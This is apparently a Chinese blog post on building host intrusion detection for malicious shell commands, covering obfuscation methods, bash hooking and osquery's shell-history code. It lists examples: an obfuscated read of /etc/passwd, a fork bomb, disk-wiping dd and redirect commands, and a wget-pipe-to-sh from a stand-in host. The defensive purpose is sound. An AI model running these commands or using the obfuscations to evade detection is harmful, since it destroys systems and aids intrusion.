Linux命令混淆
Linux shell是脚本语言,有很多变种的执行方式。例如cat /etc/passwd
就可以改成如下形式:
1 | cat $(echo /e)tc$(echo /pa*)wd |
其他绕过方式可以查看参考链接
混淆方式
根据开源的命令混淆器,来总结下混淆的几种方式。
五种类型突变:
- 命令混淆
- 利用Linux环境中的命令或二进制文件行为的简单混淆器
- 混淆整个输入在一个块中
- 字符混淆
- 使用更高级特性/二进制的模糊处理程序
- 将输入分解成块,对这些块进行混淆,然后通过串联所有不同混淆块的标准输出来构建输入
- token混淆
- 利用Bash功能或行为混淆命令
- 通常不使用任何外部二进制文件
- 混淆整个输入在一个块中
- 编码
- 对整个输入进行编码,并使用存根对其进行解码。
- 压缩
- 使用Linux环境中常见的各种压缩器,使用存根压缩并解压缩输入
使用-l选项
可以列出所有的突变模块,并给出了大小和时间级别、描述等。
Command Obfuscators:
Name: Case Swapper
Description: 相互转换所有大小写字符
Name: Reverse
Description: 反转一个命令
String Obfuscators:
Name: File Glob
Description: 使用文件和glob排序重新组装字符串
Name: Folder Glob
Description: 使用文件和glob排序重新组装字符串
Name: Hex Hash
Description: 使用md5的输出对字符串进行编码
Token Obfuscators:
Name: ForCode
Description: 打乱命令并在一个循环里恢复
Name: Special Char Only
Description: 将命令转换为只使用特殊字符
Encoders:
Name: Base64
Description: Base64编码命令
Name: RotN
Description: 在ASCII字符集中将每个字符偏移随机次数
Name: Xor Non Null
Description: 使用perl中的xor运算符对字符串进行编码
Compressors:
Name: Bzip2
Description: 使用bzip2压缩命令
Name: Gzip
Description: 使用gzip压缩命令
bash 调试功能
经常使用shell的,大家都应该知道 sh -x 这个命令,sh其实是bash的软连接,本质上还是调用的bash。sh -x可以打印出shell脚本的运行过程,这样就可以看到真正的执行命令,但是有一点不好,就是它真的会把命令执行起来。用它作为沙箱不合适,不仅浪费了检测的时间,还有可能被反调试。
那我们的想法便是使用阉割版的bash,仅把命令打印出来但不执行。实现这一功能需要去修改源码后重新编译。可以参考:https://cloud.tencent.com/developer/article/1369290
恶意命令
参考: https://techviral.net/dangerous-linux-commands/
:(){:|:&};:
[command] > /dev/sda
wget http://malicious.com -O | sh
curl -s http://malicious.com
dd if=something of=/dev/sda
python -c "[command]"|perl -e "[command]"
crontab命令检测
这个信息在信息搜集模块搜集过,只要对每一条crontab匹配规则即可。
bash命令检测
通过源码HOOK
之前也讲过可以使用history命令查看历史记录,但是很容易被绕过,并且搜集不完整。这边提供两种思路搜集命令:
- 如果服务器是通过跳板机登录的,这个就好办了,跳板机会记录所有机器的操作命令,这样统一扫描就很方便。
- 第一种情况在运维环境比较可能,线上环境并非都通过跳板机登录的。这种情况可以上面类似的思路,修改bash源码来进行记录。 具体参考https://blog.51cto.com/koumm/1763145,通过修改bash的源码,把执行的命令通过[syslog](https://www.thegeekdiary.com/linux-os-service-syslog/)发送给服务端 。
第二种情况也存在弊端,一是bash版本需要统一管理(母盘设置,初始化时其他系统继承母盘),二是linux中还存在其他shell,需要也要hook源码,不然其他shell命令就无法记录了。
osquery检测逻辑
再看看知名开源hids框架[osquery](https://common.cnblogs.com/editor/tiny_mce/plugins/preview/ https://www.freebuf.com/column/162604.html )是怎么检测的(毕竟facebook官方开源的,很有借鉴意义):
遍历所有的用户,拿到uid
,gid
和directory
。之后调用genShellHistoryForUser()
获取用户的shell记录genShellHistoryFromBashSessions()
和genShellHistoryForUser()
作用类似。
genShellHistoryForUser():
1 | void genShellHistoryForUser(const std::string& uid, const std::string& gid, const std::string& directory, QueryData& results) { |
2 | auto dropper = DropPrivileges::get(); |
3 | if (!dropper->dropTo(uid, gid)) { |
4 | VLOG(1) << "Cannot drop privileges to UID " << uid; |
5 | return; |
6 | } |
7 | |
8 | for (const auto& hfile : kShellHistoryFiles) { |
9 | boost::filesystem::path history_file = directory; |
10 | history_file /= hfile; |
11 | genShellHistoryFromFile(uid, history_file, results); |
12 | } |
13 | } |
可以看到在执行之前调用了:
1 | auto dropper = DropPrivileges::get(); |
2 | if (!dropper->dropTo(uid, gid)) { |
3 | VLOG(1) << "Cannot drop privileges to UID " << uid; |
4 | return; |
5 | } |
为什么对gid
和uid
降权, osquery一般都是使用root权限运行的,如果攻击者在.bash_history
中注入了一段恶意的shellcode代码。那么当osquery读到了这个文件之后,攻击者就能够获取到root权限了,所以通过降权的方式就能够很好地避免这样的问题。
之后遍历kShellHistoryFiles
文件,执行genShellHistoryFromFile()
代码。kShellHistoryFiles
在之前已经定义,内容是:
1 | const std::vector<std::string> kShellHistoryFiles = { |
2 | ".bash_history", ".zsh_history", ".zhistory", ".history", ".sh_history", |
3 | }; |
可以发现其实在kShellHistoryFiles
定义的就是常见的bash用于记录shell history目录的文件。最后调用genShellHistoryFromFile()
读取.history
文件,解析数据。
1 | void genShellHistoryFromFile(const std::string& uid, const boost::filesystem::path& history_file, QueryData& results) { |
2 | std::string history_content; |
3 | if (forensicReadFile(history_file, history_content).ok()) { |
4 | auto bash_timestamp_rx = xp::sregex::compile("^#(?P<timestamp>[0-9]+)$"); |
5 | auto zsh_timestamp_rx = xp::sregex::compile("^: {0,10}(?P<timestamp>[0-9]{1,11}):[0-9]+;(?P<command>.*)$"); |
6 | std::string prev_bash_timestamp; |
7 | for (const auto& line : split(history_content, "\n")) { |
8 | xp::smatch bash_timestamp_matches; |
9 | xp::smatch zsh_timestamp_matches; |
10 | |
11 | if (prev_bash_timestamp.empty() && |
12 | xp::regex_search(line, bash_timestamp_matches, bash_timestamp_rx)) { |
13 | prev_bash_timestamp = bash_timestamp_matches["timestamp"]; |
14 | continue; |
15 | } |
16 | |
17 | Row r; |
18 | |
19 | if (!prev_bash_timestamp.empty()) { |
20 | r["time"] = INTEGER(prev_bash_timestamp); |
21 | r["command"] = line; |
22 | prev_bash_timestamp.clear(); |
23 | } else if (xp::regex_search( |
24 | line, zsh_timestamp_matches, zsh_timestamp_rx)) { |
25 | std::string timestamp = zsh_timestamp_matches["timestamp"]; |
26 | r["time"] = INTEGER(timestamp); |
27 | r["command"] = zsh_timestamp_matches["command"]; |
28 | } else { |
29 | r["time"] = INTEGER(0); |
30 | r["command"] = line; |
31 | } |
32 | |
33 | r["uid"] = uid; |
34 | r["history_file"] = history_file.string(); |
35 | results.push_back(r); |
36 | } |
37 | } |
38 | } |
整个代码逻辑非常地清晰。
forensicReadFile(history_file, history_content)
读取文件内容。- 定义
bash_timestamp_rx
和zsh_timestamp_rx
的正则表达式,用于解析对应的.history
文件的内容。for (const auto& line : split(history_content, "\n"))
读取文件的每一行,分别利用bash_timestamp_rx
和zsh_timestamp_rx
解析每一行的内容。 Row r;...;r["history_file"] = history_file.string();results.push_back(r);
将解析之后的内容写入到Row中返回。
genShellHistoryFromBashSessions()
获取历史命令的方法比较简单。
- 获取到
.bash_sessions/*.history
所有的文件; - 同样调用
genShellHistoryFromFile(uid, history_file, results);
方法获取到历史命令;
总结
一个检测项可能有多种的是实现方法,没有最好的方法,只有最适合的方法。选择哪种实现方式,还是要根据实际的情况来做衡量。
单项检测可能无法做到尽善尽美,所以HIDS也是一种纵深检测的思路,后续介绍的命令执行检测的策略和bash历史命令检测相辅相成,相互补充。
参考:
http://caffeinesecurity.blogspot.com/2011/09/guide-to-malicious-linuxunix-commands.html
https://techviral.net/dangerous-linux-commands/
https://blog.spoock.com/2018/11/29/osquery-source-analysis-shell-history/
https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/
https://www.smi1e.top/命令注入绕过姿势/